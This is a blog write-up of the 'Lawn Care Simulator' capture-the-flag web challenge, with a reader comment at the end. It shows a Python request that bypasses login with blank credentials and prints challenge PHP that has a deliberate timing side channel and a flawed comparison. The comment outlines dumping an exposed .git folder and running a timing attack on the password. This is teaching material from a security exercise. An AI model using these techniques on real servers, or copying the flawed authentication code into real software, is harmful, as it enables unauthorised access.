Web 200, or "Lawn Care Simulator", was a simple web application that plays on the joke about "growth hackers". It was written to look like it was PHP-based, complete with a login page, registration form, and a suggestion that you join "their company". It definitely was quite tongue in cheek and they even went out of their way to make the grass grow in the blue square if you pressed the "grow" button.
When you attempt to login, it hashes the password field before sending off the form. This is done via an embedded JavaScript that makes use of the MD5 function in the CryptoJS library. The code executes as follows:
The registration page also refuses to let you sign up for an account, citing that it is currently in "private beta". It tries to play a trick on you in the form that it's looking for a hash value from the initial page, supplied by an improperly placed Git repository (which is important to note for later in this writeup), but I couldn't find a way to make use of this hash in the form, so I decided to attack the login mechanism instead since it was doing some weird hashing before sending the form off.function init(){ document.getElementById('login_form').onsubmit = function() { var pass_field = document.getElementById('password'); pass_field.value = CryptoJS.MD5(pass_field.value).toString(CryptoJS.enc.Hex); };
And this is where we sort of quickly solve the problem.
I decided to see what would happen if I just logged in with no credentials at all using Python Requests. The intention here was to see what sort of error would be produced and then use that to solve the problem. However, it sort of went sideways...
As we can see, this worked. At the time when the flag was revealed, I was not 100% certain that this was an intentional way to get the flag but while reviewing my notes and other information, I became conflicted.>>> import requests >>> data = { 'username': '', 'password': '' } >>> r = requests.post('http://54.175.3.248:8089/premium.php', data=data) >>> r.text u'<html>\n<head>\n <title>Lawn Care Simulator 2015</title>\n <script src="//code.jquery.com/jquery-1.11.3.min.js"></script>\n <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> \n <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet"></link>\n</head>\n<body>\n<h1> flag{gr0wth__h4ck!nG!1!1!</h1> </body>\n</html>\n'
If we go back to my remark about the Git repository, it was the repo for the entire source code to this challenge. And as it turns out in another write-up, it was key in solving the challenge for that person.
I did grab the source code from the challenge and took a look at why I was successful with fewer steps.
So now we know it uses validate function from validate_pass.php, so let's examine that to see why this worked.<?php require_once 'validate_pass.php'; require_once 'flag.php'; if (isset($_POST['password']) && isset($_POST['username'])) { $auth = validate($_POST['username'], $_POST['password']); if ($auth){ echo "<h1>" . $flag . "</h1>"; } else { echo "<h1>Not Authorized</h1>"; } } else { echo "<h1>You must supply a username and password</h1>"; } ?>
While my PHP is not up to snuff, it should at least from what I understand here have came up with no results unless the database itself had a row that was completely blank for both the hash and username field. If the result variable was not able to be created then it should have died outright, but it was able to fetch a row and feed it into the line variable.<? function validate($user, $pass) { require_once 'db.php'; $link = mysql_connect($DB_HOST, $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error()); mysql_select_db('users') or die("Mysql error"); $user = mysql_real_escape_string($user); $query = "SELECT hash FROM users WHERE username='$user';"; $result = mysql_query($query) or die('Query failed: ' . mysql_error()); $line = mysql_fetch_row($result, MYSQL_ASSOC); $hash = $line['hash']; if (strlen($pass) != strlen($hash)) return False; $index = 0; while($hash[$index]){ if ($pass[$index] != $hash[$index]) return false; # Protect against brute force attacks usleep(300000); $index+=1; } return true; } ?>
In any event, the solution was not to ram it with a bunch of requests but to just post a blank username and blank password. Whether or not this is the official solution I am not 100% sure.
Edit: PHP is an awful language
I had a chat with a friend of mine (pr0zac) who knows PHP better than me and he pointed that that mysql_fetch_row returns "false" if no rows are found. What likely happened here is that SQL failed to return any rows but the query technically succeeded so mysql_query returned successfully.
Then mysql_fetch_row returned "false" when it executed and then strlen reading of that made the result "null".
After all that, it then just passes the check as it remains "null" after hashing and returns "true".
PHP is fucking awful.
Hi,
ReplyDeleteThe method I used:
- Find out that there was a /.git/ folder
- Dump it, analyze the source code. You realize two things:
- First the subscribe page check if the given user exists with "%user%". By putting "A" as username, the site reply that the user "~~FLAG~~" exists (so we found the user we have to take control of).
- Second and last part, we can see in the login page source code that the password is checked letter by letter, and between each check, there is a sleep of 0.3 seconds. So we can make a time based attack to get the password of ~~FLAG~~.